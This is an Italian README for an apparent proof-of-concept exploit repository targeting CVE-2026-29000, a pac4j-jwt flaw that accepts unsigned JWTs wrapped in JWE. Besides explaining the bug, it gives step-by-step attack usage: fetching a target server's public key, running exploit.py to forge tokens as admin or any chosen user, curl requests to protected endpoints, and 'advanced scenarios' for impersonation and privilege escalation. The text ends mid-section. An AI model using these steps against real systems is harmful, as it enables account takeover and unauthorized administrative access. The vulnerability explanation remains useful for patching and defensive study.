Exploit CVE-2026-29000

Bypass dell'autenticazione JWT in pac4j-jwt tramite PlainJWT avvolto in JWE

Descrizione della vulnerabilità

CVE-2026-29000 è una vulnerabilità critica di bypass dell'autenticazione che interessa le versioni di pac4j-jwt precedenti alla 4.5.9, 5.7.9 e 6.3.3. La vulnerabilità consente a un attaccante remoto di falsificare token di autenticazione e bypassare la verifica della firma.

Dettagli tecnici

La vulnerabilità risiede nel componente JwtAuthenticator durante l'elaborazione di JWT cifrati (JWE). Quando viene ricevuto un token JWE:

1. Il server decifra il JWE utilizzando la sua chiave privata RSA
2. Il contenuto decifrato rivela un JWT interno
3. VULNERABILITÀ: Il server estrae i claim dal JWT interno senza verificarne la firma
4. Gli attaccanti possono creare un JWE che avvolge un PlainJWT (algoritmo: "none") con claim arbitrari

Requisiti dell'attacco

• Accesso alla chiave pubblica RSA del server (spesso esposta tramite endpoint JWKS)
• Capacità di inviare token modificati all'applicazione vulnerabile

Impatto

• Bypass completo dell'autenticazione: Gli attaccanti possono autenticarsi come qualsiasi utente
• Escalation dei privilegi: Possono assegnare ruoli arbitrari inclusi ruoli da amministratore
• Hijacking della sessione: Possono impersonare utenti legittimi senza credenziali

Versioni interessate

• pac4j-jwt < 4.5.9
• pac4j-jwt < 5.7.9
• pac4j-jwt < 6.3.3

Contenuto del repository

• exploit.py - Script Python per generare token malevoli
• vulnerable_server.py - Server dimostrativo che simula la vulnerabilità
• requirements.txt - Dipendenze Python
• README.md - Questo file

Installazione

Prerequisiti

• Python 3.8 o superiore
• Gestore di pacchetti pip

Configurazione

# Clona il repository
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Installa le dipendenze
pip3 install -r requirements.txt

Utilizzo

Passo 1: Avvia il server di test vulnerabile

python3 vulnerable_server.py

Il server:

• Genera una coppia di chiavi RSA (salvate in server_private.pem e server_public.pem)
• Si avvia su http://127.0.0.1:5000
• Espone la chiave pubblica su http://127.0.0.1:5000/public-key

Passo 2: Ottieni la chiave pubblica del target

In uno scenario di attacco reale, ottieni la chiave pubblica dal server target:

# Scarica la chiave pubblica dall'endpoint JWKS
curl http://target-server.com/jwks > target_jwks.json

# Oppure dall'endpoint diretto della chiave pubblica
curl http://target-server.com/public-key > target_public.pem

Per il server di test:

curl http://127.0.0.1:5000/public-key > server_public.pem

Passo 3: Genera il token malevolo

Usa lo script exploit per creare un PlainJWT avvolto in JWE:

# Utilizzo base - autenticati come admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# Autenticati come utente specifico con più ruoli
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Aggiungi claim personalizzati
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Salva il token su file
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Passo 4: Testa l'attacco

Test contro il server vulnerabile

# Imposta il token malevolo (copia dall'output di exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Accedi all'endpoint pubblico (dovrebbe funzionare)
curl http://127.0.0.1:5000/api/public

# Accedi all'endpoint utente con il token malevolo (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Accedi all'endpoint admin con il token malevolo (ESCALATION DEI PRIVILEGI!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Output atteso di successo dall'endpoint admin:

{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Flusso di attacco completo

Comandi di test completi

# 1. Installa le dipendenze
pip3 install -r requirements.txt

# 2. Avvia il server vulnerabile (nel terminale 1)
python3 vulnerable_server.py

# 3. In un nuovo terminale, ottieni la chiave pubblica
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Genera il token admin malevolo
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Estrai il token in una variabile
TOKEN=$(cat token.txt)

# 6. Testa l'endpoint pubblico (baseline - nessuna autenticazione richiesta)
curl http://127.0.0.1:5000/api/public

# 7. Testa l'endpoint utente (dovrebbe riuscire con il nostro token malevolo)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Testa l'endpoint admin (SUCCESSO DELL'EXPLOIT - dovrebbe accedere ai dati riservati)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Verifica che la risposta contenga la flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Scenari di attacco avanzati

Scenario 1: Impersona un utente specifico

python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Scenario 2: Escalation ad amministratore

python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Scenario 3: Iniezione di claim personalizzati

python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Opzioni dello script exploit

usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Genera token PlainJWT malevoli avvolti in JWE

options:
  -h, --help            mostra questo messaggio di aiuto ed esci
  --subject SUBJECT, -s SUBJECT
                        Soggetto (nome utente) da impersonare
  --roles ROLES, -r ROLES
                        Elenco di ruoli separati da virgola (es. ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Percorso del file PEM della chiave pubblica RSA
  --claims CLAIMS, -c CLAIMS
                        Claim aggiuntivi come stringa JSON
  --generate-keypair, -g
                        Genera una coppia di chiavi RSA di test e salvala su file
  --output OUTPUT, -o OUTPUT
                        File di output per il token generato

Come funziona la vulnerabilità

Flusso JWT normale (sicuro)

1. Il client invia un JWT con firma
2. Il server verifica la firma con la chiave pubblica
3. Se valido, estrae i claim
4. Concede l'accesso in base ai claim

Flusso vulnerabile (CVE-2026-29000)

1. L'attaccante ottiene la chiave pubblica RSA del server
2. L'attaccante crea un PlainJWT (alg: none) con claim arbitrari
   Esempio: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. L'attaccante cifra il PlainJWT usando JWE con la chiave pubblica del server
4. Il server decifra il JWE con successo
5. Il server estrae i claim dal PlainJWT interno SENZA verifica della firma
6. Il server concede l'accesso in base ai claim falsificati

Perché funziona